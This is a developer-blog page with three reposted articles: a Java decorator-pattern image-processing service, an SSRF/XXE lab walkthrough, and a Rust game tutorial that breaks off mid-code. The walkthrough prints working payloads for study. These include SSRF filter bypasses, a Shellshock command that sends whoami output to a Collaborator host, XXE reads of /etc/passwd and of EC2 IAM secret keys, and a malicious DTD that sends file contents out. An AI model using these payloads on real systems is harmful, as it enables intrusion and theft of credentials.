开发者博客 – IT技术 尽在开发者博客

开发者博客 – 科技是第一生产力


  • 首页

  • 归档

  • 搜索

装饰器模式实现在线同步图片处理 在线图片处理的整体流程 分析

发表于 2021-10-23

温馨提示:学习本文之前,需要对图片处理工具有一定的了解,可以看下我之前写的图片处理专栏

本文要介绍的内容很厉害,系好安全带,发车了~
不知道读者有没有使用过类似阿里云文件URL处理图片的功能
image.png

通过在原图链接后拼接图片处理参数,可以实现图片实时处理!!!听起来很厉害吧,那我们自己能否实现这一功能呢?

其实要实现起来也很简单 ^-^

image.png

在线图片处理的整体流程

在展开今天内容之前,先大概讲下整个接口的处理数据流是怎样的,让大家有个宏观的印象。

1、整体流程

image.png

2、图片服务(image service)接口处理流程

image.png
这里有个下载原图的步骤,由于图片服务并没有源文件,所以必须先将源文件拉取到本地,才能进行后续处理

由于请求会先经过存储网关,所以会解析原图的内网地址,通过内网带宽拉取图片,速度是很快的

分析阶段

图片服务收到请求,处理逻辑为:解析参数 -> 校验参数 -> 拼接处理命令 -> GM执行命令 -> 生成结果文件 -> 返回文件

所以关键步骤就是拼接处理命令

目前实现了:图片缩放、自适应方向、质量变换、格式转换、裁剪、水印等功能

一般最快速的实现方式就是循环将参数转为对应的命令,拼接字符串,但是这不符合“开闭原则”呀,有没有跟优雅的方式,可以实现功能扩展而不需要改动原逻辑呢?今天的主角——装饰器模式隆重登场~

什么是装饰器模式?

在不影响其他对象的情况下,以动态地给一个对象添加一些额外的职责。

该模式一般包含如下的角色:

  • Component抽象构件角色:真实对象和装饰对象有相同的接口。这样,客户端对象就能够以与真实对象相同的方式同装饰对象交互
  • ConcreteComponent具体构件角色:定义一个具体的对象,也可以给这个对象添加一些职责
  • Decorator装饰角色:持有一个抽象构件的引用。装饰对象接受所有客户端的请求,并把这些请求转发给真实的对象。这样,就能在真实对象调用前后增加新的功能
  • ConcreteDecorator具体装饰角色:负责给构件对象增加新的责任

代码实现

本次实现的URL图片处理参考阿里云的链接拼接方式

1、参数解析

假设现在有一个请求,请求链接为:
xxx.test.com/test.jpg?s-…

该链接的图片处理参数部分为:s-oss-process=image/resize,m_mfit,w_100,h_100/quality,q_80/format,jpg

s-oss-process=image 主要是用于让网关识别这是图片处理的流量,将流量转发到具体的服务

所以实际获取到需要解析的参数为:resize,m_mfit,w_100,h_100/quality,q_80/format,jpg

观察参数可以发现,每个具体的功能用“/”分隔,功能中第一个逗号前面的是操作名,后面是操作的具体参数,核心代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
java复制代码// 这里假设imageProcess已经是上面需要解析的部分(resize,m_mfit,w_100,h_100/quality,q_80/format,jpg)
String[] params = imageProcess.split("/");
LinkedHashMap<String, String> paramsMap = new LinkedHashMap<>();
for (String paramsStr : params) {
String[] kv = paramsStr.split(",", 2);
if (kv.length != 2) {
throw new ParamValidException(ErrorCode.COMMON_ILLEGAL_PARAMS, "处理参数拼接有误");
}
// 判断功能参数以及格式转换是否合法
if (!ImageProcessConstants.Action.containsAction(kv[0])) {
throw new ParamValidException(ErrorCode.COMMON_ILLEGAL_PARAMS, kv[0]+"为不支持的图片处理功能");
}
if (StringUtils.equals(kv[0], ImageProcessConstants.Action.FORMAT)) {
if (!ImageProcessConstants.Format.containsFormat(kv[1])) {
throw new ParamValidException(ErrorCode.COMMON_ILLEGAL_PARAMS, kv[1]+"为不支持的图片转换格式");
}
}
paramsMap.put(kv[0], kv[1]);
}

我们将URL解析成一个有序的Map:

  1. resize:m_mfit,w_100,h_100
  2. quality:q_80
  3. format:jpg

2、拼接处理命令

这里就用到了装饰器模式,先看看结构图:
image.png

1)定义图片处理顶层接口(Component)

1
2
3
4
5
6
7
8
9
10
11
java复制代码/**
* 图片处理顶层接口,所有被包装类,包装类都继承这个接口
*/
public interface ImageProcess {

/**
* 获取图片处理命令
*/
ImageCommand getImageCommands();

}

2)定义具体的构建角色(ConcreteComponent)

1
2
3
4
5
6
7
8
9
10
11
java复制代码/**
* 图片处理类的实现类
*/
public class ConvertImageProcess implements ImageProcess {

@Override
public ImageCommand getImageCommands() {
return new ConvertCommand();
}

}

3)定义图片处理的装饰角色(Decorator)

该对象持有ImageProcess具体构建角色对象的引用,同时自己也继承ImageProcess接口,通过构造方法接收具体的处理参数,重写接口的方法,实现对具体构件对象的功能增强。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
java复制代码/**
* 装饰器都抽象类,Decorator角色
*/
public class ImageProcessDecorator implements ImageProcess {

/**
* 被装饰对象
*/
private ImageProcess imageProcess;

/**
* 各具体装饰器对应的参数
*/
protected String params;

public ImageProcessDecorator(ImageProcess imageProcess, String params) {
this.imageProcess = imageProcess;
this.params = params;
}

@Override
public ImageCommand getImageCommands() {
return this.imageProcess.getImageCommands();
}
}

4)实现具体的装饰器角色(ConcreteDecorator)

这里只列举一个例子,其他实现也很类似

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
java复制代码/**
* 质量转换装饰器
*/
public class QualityProcessDecorator extends ImageProcessDecorator {

public QualityProcessDecorator(ImageProcess imageProcess, String params) {
super(imageProcess, params);
}

@Override
public ImageCommand getImageCommands() {
int quality = this.parseQualityParams(params);
ImageCommand imageCommand = super.getImageCommands();
imageCommand.quality(quality);
return imageCommand;
}

/**
* 质量转换参数解析
*
* @param params 如:q_100
*/
private int parseQualityParams(String params) {
if (StringUtils.isBlank(params)) {
throw new ParamValidException(ErrorCode.COMMON_ILLEGAL_PARAMS, "quality params is empty");
}
if (params.length() <= 2 || !params.startsWith("q_")) {
throw new ParamValidException(ErrorCode.COMMON_ILLEGAL_PARAMS, "quality参数错误");
}
String value = params.substring(2);
int quality = NumberUtils.toInt(value, 0);
if (quality < 1 || quality > 100) {
throw new ParamValidException(ErrorCode.COMMON_ILLEGAL_PARAMS, "quality的取值范围是 [1,100]");
}
return quality;
}

}

外层通过第1步解析参数得到的Map,调用装饰器,生成具体的执行命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
java复制代码/**
* 获取图片组合命令
*
* @param params 参数
* @param srcPath 源文件路径
* @param distPath 目标文件路径
*/
public ImageCommand getImageComposeCommand(Map<String, String> params, String srcPath, String distPath) {
ImageProcess imageProcess = new ConvertImageProcess();
imageProcess = new AddImageProcessDecorator(imageProcess, srcPath);
for (Map.Entry<String, String> entry : params.entrySet()) {
switch (entry.getKey()) {
case ImageProcessConstants.Action.RESIZE:
imageProcess = new ResizeProcessDecorator(imageProcess, entry.getValue()); break;
case ImageProcessConstants.Action.AUTO_ORIENT:
imageProcess = new AutoOrientProcessDecorator(imageProcess, entry.getValue()); break;
case ImageProcessConstants.Action.CROP:
imageProcess = new CropProcessDecorator(imageProcess, entry.getValue()); break;
case ImageProcessConstants.Action.QUALITY:
imageProcess = new QualityProcessDecorator(imageProcess, entry.getValue()); break;
}
}
imageProcess = new AddImageProcessDecorator(imageProcess, distPath);
return imageProcess.getImageCommands();
}

至此,我们将URL传递的参数,解析为GraphicsMagick的处理命令:convert ${srcPath} -resize 100x100^ -quality 80 ${disPath}.jpg

如果对上面的命令感觉很懵的话,可以看下:GraphicsMagick实现云服务商基础图片处理

3、生成结果文件

将第2步生成的图片处理命令丢给GM进程进行处理,就能得到结果文件啦~

这里引入了gm4java这个工具提供的进程池控制GM进程数(代码中注入即可:PooledGMService)

1
2
3
4
5
xml复制代码<dependency>
<groupId>com.sharneng</groupId>
<artifactId>gm4java</artifactId>
<version>1.1.1</version>
</dependency>

可以参考看下:Springboot集成GraphicsMagick

End

以上就是在线图片处理的整个处理过程,是不是发现逻辑其实很简单,使用装饰器模式很方便的让我们后续增加更多的功能。这就是具体设计模式在实际项目中的应用!

后续对服务压测结束后,可能会输出关于结果文件采用 普通方式 和 “零拷贝”方式 响应给调用方的文章,大家有兴趣可以点个关注留意下~

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

网络安全:SSRF+XXE漏洞挖掘笔记

发表于 2021-10-23

声明

本文仅供学习参考,其中涉及的一切资源均来源于网络,请勿用于任何非法行为,否则您将自行承担相应后果

一、Server-side request forgery (SSRF)

01、Basic SSRF against the local server

描述

该实验室具有库存检查功能,可从内部系统获取数据。

为了解决实验室,更改股票检查 URL 以访问管理界面http://localhost/admin并删除用户carlos。

解决方案

1.浏览/admin并观察您无法直接访问管理页面。

image.png

2.访问一个产品,点击“Check stock”,拦截Burp Suite中的请求,发送给Burp Repeater。

3.将stockApi参数中的 URL 更改为http://localhost/admin. 这应该显示管理界面。

image.png

4.阅读 HTML 确定删除目标用户的 URL,即: http://localhost/admin/delete?username=carlos

image.png

5.在stockApi参数中提交这个 URL ,来传递SSRF 攻击。

image.png

image.png

为了感谢广大读者伙伴的支持,准备了以下福利给到大家:
【一>所有资源获取<一】
1、200多本网络安全系列电子书(该有的都有了)
2、全套工具包(最全中文版,想用哪个用哪个)
3、100份src源码技术文档(项目学习不停,实践得真知)
4、网络安全基础入门、Linux、web安全、攻防方面的视频(2021最新版)
5、网络安全学习路线(告别不入流的学习)
6、ctf夺旗赛解析(题目解析实战操作)

02、Basic SSRF against another back-end system

描述

该实验室具有库存检查功能,可从内部系统获取数据。

为了解决实验室问题,请使用库存检查功能处的漏洞扫描192.168.0.XC段哪个IP的 8080端口 上开启了WEB服务管理界面,然后使用它删除用户carlos。

解决方案

1.访问一个产品,点击“Check stock”,拦截Burp Suite中的请求,发送给Burp Intruder。 2.单击“clear §”,将stockApi参数更改为http://192.168.0.1:8080/admin,对 IP 地址的最后一个八位字节(数字1),单击“添加有效载荷 §”。

image.png

3.切换到Payloads选项卡,将payload类型改为Numbers,在“From”、“To”和“Step”框中分别输入1、255和1。意思是从1到255遍历,点击“开始攻击”。

image.png

4.单击“状态”列可按状态代码升序对其进行排序。您应该会看到一个状态为 200 的条目,显示了一个管理界面。

image.png

5.点击这个请求,发送到Burp Repeater,将里面的路径改成stockApi:/admin/delete?username=carlos

image.png

image.png

03、SSRF with blacklist-based input filter

描述

该实验室具有库存检查功能,可从内部系统获取数据。

为了解决实验室,更改股票检查 URL 以访问管理界面http://localhost/admin并删除用户carlos。

开发人员部署了两个您需要绕过的弱反 SSRF 防御。

解决方案

1.访问一个产品,点击“Check stock”,拦截Burp Suite中的请求,发送给Burp Repeater。 2.将stockApi参数中的 URL 更改为http://127.0.0.1/,请求被阻止。

image.png

3.通过将 URL 更改为以下内容来绕过块: http://127.1/

使用的替代IP表示127.0.0.1,例如2130706433,017700000001,或127.1。

image.png

4.将 URL 更改为http://127.1/admin并观察该 URL 再次被阻止。

image.png

5.通过双 URL 编码将“a”混淆为 %2561 以访问管理界面并删除目标用户。a的url编码结果是%61,%的url编码是%25

image.png

6.删除carlos

stockApi=http://127.1/%2561dmin/delete?username=carlos

image.png

04、SSRF with whitelist-based input filter

基于白名单绕过滤的ssrf

某些应用程序仅允许与允许值的白名单匹配、以该白名单开头或包含该白名单的输入。在这种情况下,您有时可以通过利用 URL 解析中的不一致来绕过过滤器。

URL 规范包含许多在实现 URL 的临时解析和验证时容易被忽视的功能:

您可以使用@字符在 URL 中的主机名之前嵌入凭据。例如:https://expected-host@evil-host。

您可以使用#字符来表示 URL 片段。例如:https://evil-host#expected-host。

您可以利用 DNS 命名层次结构将所需的输入放入您控制的完全限定的 DNS 名称中。例如:https://expected-host.evil-host。

您可以对字符进行 URL 编码以混淆 URL 解析代码。如果实现过滤器的代码处理 URL 编码字符的方式不同于执行后端 HTTP 请求的代码,这将特别有用。

您可以结合使用这些技术。

描述

该实验室具有库存检查功能,可从内部系统获取数据。

为了解决实验室,更改股票检查 URL 以访问管理界面http://localhost/admin并删除用户carlos。

开发人员已部署了您需要绕过的反 SSRF 防御。

解决方案

1.访问一个产品,点击“Check stock”,拦截Burp Suite中的请求,发送给Burp Repeater。 2.fuzz测试应用程序对哪些连接符进行过滤

将stockApi参数中的 URL 更改为http://127.0.0.1@stock.weliketoshop.net,添加@位置为有效载荷。

image.png

%2540 %2523 %252e分别是@#.

image.png

image.png

可以得出@连接符可用,未被过滤。 3.fuzz测试应用程序对本地地址的过滤

image.png

5.遍历结果发现%2523未被过滤,这是#的双重编码。.

image.png

6.更改 URL 以localhost:80%2523@stock.weliketoshop.net/admin/delet…访问管理界面并删除目标用户。

image.png

image.png

05、SSRF with filter bypass via open redirection vulnerability

描述

该实验室具有库存检查功能,可从内部系统获取数据。

为了解决实验室,更改股票检查 URL 以访问管理界面http://192.168.0.12:8080/admin并删除用户carlos。

库存检查器已被限制为只能访问本地应用程序,因此您需要首先找到影响应用程序的开放重定向。

解决方案

1.访问一个产品,点击“Check stock”,拦截Burp Suite中的请求,发送给Burp Repeater。 2.尝试篡改stockApi参数并观察到无法让服务器直接向不同的主机发出请求。 3.单击“Next product”并观察该path参数被放置在重定向响应的 Location 标头中,从而导致打开重定向。

image.png

image.png

image.png

4.创建一个利用开放重定向漏洞的 URL,并重定向到管理界面,并将其提供给stockApi股票检查器上的参数:

/product/nextProduct?path=http://192.168.0.12:8080/admin

image.png

5.修改删除目标用户的路径:

1
bash复制代码/product/nextProduct?path=http://192.168.0.12:8080/admin/delete?username=carlos

image.png

06、Blind SSRF with out-of-band detection

描述

该站点使用分析软件,在加载产品页面时获取在 Referer 标头中指定的 URL。

要解决实验室问题,请使用此功能向公共 Burp Collaborator 服务器发出 HTTP 请求。

解决方案

1.在Burp Suite Professional 中,转到 Burp 菜单并启动Burp Collaborator 客户端。

image.png

2.单击“复制到剪贴板”将唯一的 Burp Collaborator 负载复制到剪贴板。让 Burp Collaborator 客户端窗口保持打开状态。

9ku1dr3wc25eze1famnlfqnqfhl79w.burpcollaborator.net

image.png

3.访问一个产品,拦截 Burp Suite 中的请求,并将其发送到 Burp Repeater。

image.png

4.更改 Referer 标头以使用生成的 Burp Collaborator 域代替原始域。发送请求。

image.png

5.返回 Burp Collaborator 客户端窗口,然后单击“Poll now”。如果您没有看到列出的任何交互,请等待几秒钟并重试,因为服务器端命令是异步执行的。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bEjm3FTQ-1634976123186)(upload-images.jianshu.io/upload_imag…)]

6.您应该会看到一些由应用程序启动的 DNS 和 HTTP 交互,这些交互是您的负载的结果。

image.png

07、Blind SSRF with Shellshock exploitation

描述

该站点使用分析软件,在加载产品页面时获取在 Referer 标头中指定的 URL。

为了解决实验室问题,使用此功能对端口 8080 范围内的内部服务器执行盲 SSRF攻击192.168.0.X。在盲攻击中,使用针对内部服务器的 Shellshock 负载来窃取操作系统用户的名称。

解决方案

1.在Burp Suite Professional 中,从 BApp Store 安装“Collaborator Everywhere”扩展。

image.png

2.将靶场的域添加到 Burp Suite 的目标范围,以便 Collaborator Everywhere 将其作为目标。 浏览网站。

image.png

image.png

3.开始浏览产品页面,随便找几个商品点进去在点击return,插件会通过 Referer 标头触发与 Burp Collaborator 的 HTTP 交互。

image.png

4.观察 HTTP 交互在 HTTP 请求中包含您的 User-Agent 字符串。将请求发送到产品页面给 Burp Intruder。

image.png

5.使用Burp Collaborator 客户端生成唯一的 Burp Collaborator 有效载荷,并将其放入以下 Shellshock 有效载荷中:

() { :; }; /usr/bin/nslookup $(whoami).YOUR-SUBDOMAIN-HERE.burpcollaborator.net

image.png

6.将 Burp Intruder 请求中的 User-Agent 字符串替换为包含您的 Collaborator 域的 Shellshock 负载。

单击“clear §”,更改 Referer 标头,http://192.168.0.1:8080然后突出显示 IP 地址的最后一个八位字节(数字1),单击“添加 §”。

image.png

7.切换到Payloads选项卡,将payload类型改为Numbers,在“From”、“To”和“Step”框中分别输入1、255和1。 点击“开始攻击”。

image.png

8.攻击完成后,返回 Burp Collaborator 客户端窗口,然后单击“Poll now”。如果您没有看到列出的任何交互,请等待几秒钟并重试,因为服务器端命令是异步执行的。您应该看到由成功的盲目SSRF 攻击攻击的后端系统发起的 DNS 交互。操作系统用户的名称应出现在 DNS 子域中。

image.png

9.要完成实验,请输入操作系统用户的名称。

peter-I7hfdy

image.png

二、XXE injection

01、Exploiting XXE using external entities to retrieve files

描述

该实验室具有“Check stock”功能,可解析 XML 输入并在响应中返回任何意外值。

为了解决实验室问题,注入一个 XML 外部实体来检索/etc/passwd文件的内容。

解决方案

1.访问产品页面,单击“Check stock”,然后在 Burp Suite 中拦截生成的 POST 请求。

image.png

2.在 XML 声明和stockCheck元素之间插入以下外部实体定义:

1
2
3
4
5
6
7
8
xml复制代码<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
---------------------------------------------------------------------------------
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck>
<productId>&xxe;</productId>
<storeId>1</storeId>
</stockCheck>

3.将productId数字替换为对外部实体的引用:&xxe;。响应应包含Invalid product ID:,后跟/etc/passwd文件的内容。

image.png

image.png

02、Exploiting XXE to perform SSRF attacks

描述

该实验室具有”Check Stock”功能,可解析 XML 输入并在响应中返回任何意外值。

实验室服务器在默认 URL 上运行(模拟的)EC2 元数据端点,即http://169.254.169.254/. 此端点可用于检索有关实例的数据,其中一些可能是敏感的。

为解决实验室,利用XXE漏洞执行SSRF攻击,从EC2元数据端点获取服务器的IAM秘密访问密钥。

解决方案

1.访问产品页面,单击“Check Stock”,然后在 Burp Suite 中拦截生成的 POST 请求。

image.png

2.在 XML 声明和stockCheck元素之间插入以下外部实体定义:

1
2
3
4
5
6
7
8
xml复制代码<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]>
---------------------------------------------------------------------------------
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]>
<stockCheck>
<productId>&xxe;</productId>
<storeId>1</storeId>
</stockCheck>

3.将productId数字替换为对外部实体的引用:&xxe;。响应应包含“无效的产品 ID:”,后跟来自元数据端点的响应,最初是文件夹名称。

image.png

4.迭代更新 DTD 中的 URL 以探索 API,直到到达/latest/meta-data/iam/security-credentials/admin. 这应该返回包含SecretAccessKey.

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1tf9UjnR-1634976123226)(upload-images.jianshu.io/upload_imag…)]

image.png

03、Blind XXE with out-of-band interaction

描述

该实验室具有“Check stock”功能,可解析 XML 输入但不显示结果。

您可以通过触发与外部域的带外交互来检测盲 XXE漏洞。

为了解决实验室问题,使用外部实体使 XML 解析器向 Burp Collaborator 发出 DNS 查找和 HTTP 请求。

解决方案

1.访问产品页面,单击“Check stock”并拦截Burp Suite Professional 中生成的 POST 请求。

2.转到 Burp 菜单,然后启动Burp Collaborator 客户端。

image.png

3.单击“Copy to clipboard”将唯一的 Burp Collaborator 负载复制到剪贴板。让 Burp Collaborator 客户端窗口保持打开状态。

4.在 XML 声明和stockCheck元素之间插入以下外部实体定义,但在指示的地方插入 Burp Collaborator 子域:

5.将productId数字替换为对外部实体的引用:&xxe;

1
2
3
4
5
6
7
8
xml复制代码<!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net"> ]>
---------------------------------------------------------------------------------
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net"> ]>
<stockCheck>
<productId>&xxe;</productId>
<storeId>1</storeId>
</stockCheck>

image.png

6.返回 Burp Collaborator 客户端窗口,然后单击“Poll now”。如果您没有看到列出的任何交互,请等待几秒钟,然后重试。您应该会看到一些由应用程序启动的 DNS 和 HTTP 交互,这些交互是您的负载的结果。
image.png

image.png

04、Blind XXE with out-of-band interaction via XML parameter entities

描述

该实验室具有“Check stock”功能,可解析 XML 输入,但不显示任何意外值,并阻止包含常规外部实体的请求。

为了解决实验室问题,使用参数实体让 XML 解析器向 Burp Collaborator 发出 DNS 查找和 HTTP 请求。

解决方案

1.访问产品页面,单击“Check stock”并拦截Burp Suite Professional 中生成的 POST 请求。

2.转到 Burp 菜单,然后启动Burp Collaborator 客户端。

3.单击“Copy to clipboard”将唯一的 Burp Collaborator 负载复制到剪贴板。让 Burp Collaborator 客户端窗口保持打开状态。

4.在 XML 声明和stockCheck元素之间插入以下外部实体定义,但在指示的地方插入 Burp Collaborator 子域:

1
xml复制代码<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://1652ffdx6ehfr67aox39dcqfw62wql.burpcollaborator.net"> %xxe; ]>

image.png

5.返回 Burp Collaborator 客户端窗口,然后单击“Poll now”。如果您没有看到列出的任何交互,请等待几秒钟,然后重试。您应该会看到一些由应用程序启动的 DNS 和 HTTP 交互,这些交互是您的负载的结果。

image.png

05、Exploiting blind XXE to exfiltrate data using a malicious external DTD

描述

该实验室具有“Check stock”功能,可解析 XML 输入但不显示结果。

要解决实验室问题,请提取/etc/hostname文件的内容。

解决方案

1.使用Burp Suite Professional,转到 Burp 菜单,然后启动Burp Collaborator 客户端。

2.单击“Copy to clipboard”将唯一的 Burp Collaborator 负载复制到剪贴板。让 Burp Collaborator 客户端窗口保持打开状态。

3.将 Burp Collaborator 负载放入恶意 DTD 文件中:,注意这里%是%的HTML编码结果

参数实体嵌套定义需要注意的是,内层的定义的参数实体% 需要进行HTML转义,否则会出现解析错误。
​
第二层嵌套时我们只需要给定义参数实体的%编码,第三层就需要在第二层的基础上将所有%、&、’、” html编码。
​
引用:cloud.tencent.com/developer/a…

1
2
3
4
xml复制代码<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net/?x=%file;'>">
%eval;
%exfil;

4.单击“Store”并将恶意 DTD 文件保存在您的服务器上。单击“view exploit”并记下 URL。

https://exploit-ac321fb71f19af9380507e4301ff00c7.web-security-academy.net/exploit

image.png

5.您需要通过添加引用恶意 DTD 的参数实体来利用Check stock功能。首先,访问产品页面,单击“Check stock”,并在 Burp Suite 中拦截生成的 POST 请求。

6.在 XML 声明和stockCheck元素之间插入以下外部实体定义:

1
xml复制代码<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-ac321fb71f19af9380507e4301ff00c7.web-security-academy.net/exploit"> %xxe;]>

7.返回 Burp Collaborator 客户端窗口,然后单击“Poll now”。如果您没有看到列出的任何交互,请等待几秒钟,然后重试。

8.您应该会看到一些由应用程序启动的 DNS 和 HTTP 交互,这些交互是您的负载的结果。HTTP 交互可以包含/etc/hostname文件的内容。

读取结果

94c9f0a3f381

image.png

06、Exploiting blind XXE to retrieve data via error messages

描述

该实验室具有“Check stock”功能,可解析 XML 输入但不显示结果。

要解决该实验,请使用外部 DTD 触发显示/etc/passwd文件内容的错误消息。

该实验室包含指向不同域上的漏洞利用服务器的链接,您可以在其中托管恶意 DTD。

解决方案

1.单击“Go to exploit server”并将以下恶意 DTD 文件保存在您的服务器上: 导入时,此页面会将其内容读入实体,然后尝试在文件路径中使用该实体。

1
2
3
4
xml复制代码<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'file:///invalid/%file;'>">
%eval;
%exfil;

image.png

2.单击“View exploit”并记下恶意 DTD 的 URL。

1
bash复制代码https://exploit-acc71f791e474f81803e1f22016400d8.web-security-academy.net/ch4nge.dtd

3.您需要通过添加引用恶意 DTD 的参数实体来利用股票检查器功能。首先,访问产品页面,单击“Check stock”,并在 Burp Suite 中拦截生成的 POST 请求。

4.在 XML 声明和stockCheck元素之间插入以下外部实体定义: 您应该看到一条包含文件内容的错误消息。

1
xml复制代码<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-acc71f791e474f81803e1f22016400d8.web-security-academy.net/ch4nge.dtd"> %xxe;]>

"XML parser exited with non-zero code 1: /invalid/

image.png

image.png

07、Exploiting XXE to retrieve data by repurposing a local DTD

通过复用本地DTD利用XXE盲打

如果目标不出网,或者有某限制不能使用外部dtd实体,这时可以尝试使用本地的dtd实体,就是把dtd的语句写在靶机里。

描述

该实验室具有“Check stock”功能,可解析 XML 输入但不显示结果。

要解决实验室问题,请触发一条包含/etc/passwd文件内容的错误消息。

您需要引用服务器上现有的 DTD 文件并从中重新定义实体。

暗示

使用 GNOME 桌面环境的系统通常在包含一个名为/usr/share/yelp/dtd/docbookx.dtd的实体时有一个 DTDISOamso.

解决方案

1.访问产品页面,单击“Check stock”,并在Burp Suite中截获生成的POST请求。

2.在XML声明和stockCheck元素之间插入以下参数实体定义:

1
2
3
4
5
6
7
8
9
10
xml复制代码<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

这将导入Yelp DTD,然后重新定义ISOamso实体,触发包含/etc/passwd文件内容的错误消息。

暗示中提到一个内部的DTD:/usr/share/yelp/dtd/docbookx.dtd,这个内部DTD中有一个参数实体叫ISOamso,然后重写这个参数实体。

注意:

参数实体嵌套定义需要注意的是,内层的定义的参数实体% 需要进行HTML转义,否则会出现解析错误。
​
第二层嵌套时我们只需要给定义参数实体的%编码,第三层就需要在第二层的基础上将所有%、&、’、” html编码。
​
引用:cloud.tencent.com/developer/a…

image.png

image.png

08、Exploiting XInclude to retrieve files

描述

该实验室具有“check stock”功能,该功能将用户输入嵌入服务器端 XML 文档中,随后对其进行解析。

因为您无法控制整个 XML 文档,所以您无法定义 DTD 来发起经典的XXE攻击。

要解决实验室问题,请注入一条XInclude语句来检索/etc/passwd文件的内容。

解决方案

1.访问产品页面,单击“检查库存”,然后在 Burp Suite 中拦截生成的 POST 请求。

2.将productId参数值设置为:

<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>

image.png

image.png

09、Exploiting XXE via image file upload

描述

该实验室允许用户将头像附加到评论中,并使用 Apache Batik 库来处理头像图像文件。

要解决实验室问题,请上传/etc/hostname处理后显示文件内容的图像。然后使用“提交解决方案”按钮提交服务器主机名的值。

暗示

SVG 图像格式使用 XML。

解决方案

1.使用以下内容创建本地 SVG 图像:

1
xml复制代码<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>

image.png

2.在博客文章上发表评论,并上传此图片作为头像。

3.查看评论时,您应该会``在图像中看到/etc/hostname文件的内容。使用“提交解决方案”按钮提交服务器主机名的值。

image.png

提交7174a45a0efa

image.png

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

Hands-on Rust 学习之旅(5)—— Module

发表于 2021-10-23

有了上一篇文章的小鸟游戏,对游戏入门有点了解了。

今天我们开始新游戏 (Build a Dungeon Crawler) 开发学习。

今天的任务,就是设计游戏地图 (Map) 和 Player。

例行,看看执行效果:

dc_background

Modules

在建 Map 之前,我们必须先要解决一个棘手问题,在之前的游戏 demo 中,我们把代码都写在一个 main.rs 里,这不符合代码逻辑和规范,我们需要把代码拆解到其它文件中 —— 即根据业务将代码分模块 (Modules)。

就犹如图上所示,我们需要创建两个模块组件:crate::map 和 crate::player

按照惯例,我们新建一个 dungeoncrawl 项目:

1
arduino复制代码cargo new dungeoncrawl

Map

在 src 文件夹创建文件:map.rs。

在地图上,主要有两种类型的东西:

1
2
3
4
5
rust复制代码#[derive(Copy, Clone, PartialEq)]
pub enum TileType {
Wall,
Floor,
}

其中,Wall 利用符号 # 表示,Floor 用 .平铺:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
rust复制代码// 地图类型平铺,使用 Vec 类型
pub struct Map {
pub tiles: Vec<TileType>,
}

//
pub fn render(&self, ctx: &mut BTerm) {
for y in 0..SCREEN_HEIGHT {
for x in 0..SCREEN_WIDTH {
let idx = map_idx(x, y);
match self.tiles[idx] {
TileType::Floor => {
ctx.set(x, y, YELLOW, BLACK, to_cp437('.'));
}
TileType::Wall => {
ctx.set(x, y, GREEN, BLACK, to_cp437('#'));
}
}
}
}
}

Create the Player Structure

在之前的小鸟游戏已经定义 Player,这里基本一样,同样的,创建一个文件 player.rs:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
rust复制代码use crate::prelude::*;

pub struct Player {
pub position: Point
}

impl Player {
pub fn new(position: Point) -> Self {
Self {
position
}
}

pub fn render(&self, ctx: &mut BTerm) {
ctx.set(
self.position.x,
self.position.y,
WHITE,
BLACK,
to_cp437('@'),
)
}

pub fn update(&mut self, ctx: &mut BTerm, map: &Map) {
if let Some(key) = ctx.key {
let delta = match key {
VirtualKeyCode::Left => Point::new(-1, 0),
VirtualKeyCode::Right => Point::new(1, 0),
VirtualKeyCode::Up => Point::new(0, -1),
VirtualKeyCode::Down => Point::new(0, 1),
_ => Point::zero()
};

let new_position = self.position + delta;
if map.can_enter_tile(new_position) {
self.position = new_position;
}
}
}
}

道理也简单,Player 使用字符 @ 表示,通过键盘「上下左右」控制 Player 走向,每按一次,走一格,同时,更新自己的位置。

但是,这里有一个前提,更新的点位,必须是 Floor 类型,就是说不能是墙:

1
2
3
4
